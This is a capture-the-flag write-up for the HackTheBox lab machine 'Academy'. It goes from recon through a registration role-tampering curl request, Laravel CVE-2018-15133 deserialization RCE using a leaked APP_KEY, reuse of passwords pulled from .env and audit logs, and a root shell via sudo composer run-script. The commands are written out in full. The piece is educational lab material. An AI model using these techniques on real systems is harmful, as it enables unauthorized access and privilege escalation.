Post

Academy

Academy

Recon

I started with an nmap scan. Three ports are open:

1
2
3
22/tcp    open  ssh      OpenSSH 8.2p1
80/tcp    open  http     Apache 2.4.41 (academy.htb)
33060/tcp open  mysqlx

The web site on port 80 is academy.htb, so that is where I started.

Foothold

Register as admin

The register page has a hidden field called roleid. The server trusts whatever value the client sends, so I registered a new user with roleid=1, which makes the account an admin.

1
curl -d "uid=fox&password=pass&confirm=pass&roleid=1" http://academy.htb/register.php

After logging in as this user, I could open the admin panel at /admin.php. It shows another vhost: dev-staging-01.academy.htb.

Laravel debug page

The dev-staging-01 site is a Laravel app with debug mode on. The error page leaks the environment, including the APP_KEY:

1
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

This is a problem because of CVE-2018-15133. Laravel decrypts the X-XSRF-TOKEN header with the APP_KEY and then unserializes the result. If we know the key, we can build our own serialized payload, encrypt it, and the server will run it.

I used phpggc with the Laravel/RCE1 chain to make the payload, encrypted it with the leaked APP_KEY, and sent it in the X-XSRF-TOKEN header. This gave me command execution as www-data.

www-data to cry0l1t3

As www-data I read the .env file of the app. It has a password: mySup3rP4s5w0rd!!. I tried it for the user cry0l1t3 over SSH and it worked.

1
2
ssh cry0l1t3@target
# password: mySup3rP4s5w0rd!!
1
cat user.txt

User

cry0l1t3 is in the adm group, which can read the logs in /var/log/audit. The audit log can record what people type in a terminal (the TTY records), and the data is stored as hex. I searched for those records:

1
grep "type=TTY" /var/log/audit/audit.log

One line has this data:

1
data=6D7262336E5F41634064336D79210A

Decoded from hex, it is mrb3n_Ac@d3my!. It looks like the user mrb3n typed a password in a terminal. I tried it with su:

1
2
su mrb3n
# password: mrb3n_Ac@d3my!

Root

sudo -l shows that mrb3n can run composer as root:

1
(ALL) /usr/bin/composer

Composer has a run-script command that runs any command written in the scripts part of a composer.json file. So I made my own composer.json in a temp folder with a script that reads the root flag, then ran it with sudo:

1
2
3
TF=$(mktemp -d)
echo '{"scripts":{"x":"cat /root/root.txt"}}' > $TF/composer.json
sudo /usr/bin/composer --working-dir=$TF run-script x

The script ran as root and that was the box. After that I removed my temp files.